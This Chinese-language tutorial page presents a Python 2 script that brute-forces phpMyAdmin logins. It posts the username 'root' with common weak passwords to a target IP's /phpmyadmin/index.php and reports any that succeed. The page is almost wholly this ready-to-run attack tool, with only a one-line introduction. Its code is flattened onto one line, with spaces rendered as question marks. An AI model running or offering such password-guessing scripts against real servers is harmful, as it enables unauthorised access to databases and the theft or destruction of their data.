下面由phpMyAdmin教程欄目給大家介紹關于phpmyadmin弱口令猜解,希望對需要的朋友有所幫助!
PHPMyAdmin弱口令猜解【Python腳本】
PHPMyAdmin弱口令猜解
測試截圖:?
代碼片段
立即學習“PHP免費學習筆記(深入)”;
#!?/usr/bin/env?python #?_*_??coding:utf-8?_*_ import?requests import?time username_list=['root'] password_list=['root','','admin','123456','password'] def?phpMyAdmin(ip,port=80): for?username?in?username_list: username?=username.rstrip() for?password?in?password_list: password?=?password.rstrip() try: #url?=?"http://192.168.106.141/phpmyadmin/index.php" url?=?"http://"+ip+":"+str(port)+"/phpmyadmin/index.php" data={'pma_username':username,'pma_password':password} response?=?requests.post(url,data=data,timeout=5) result=response.content if?result.find('name="login_form"')==-1: print?'====================================================' print?'[+]?find?phpMyAdmin?weak?password:'+username,password print?'====================================================' break else: print?'[-]?Checking?for?'+username,password+"?fail" except: print?'[-]?Something?Error'+username,password+"?fail" if?__name__?==?'__main__': phpMyAdmin("192.168.106.141")
? 版權聲明
文章版權歸作者所有,未經允許請勿轉載。
THE END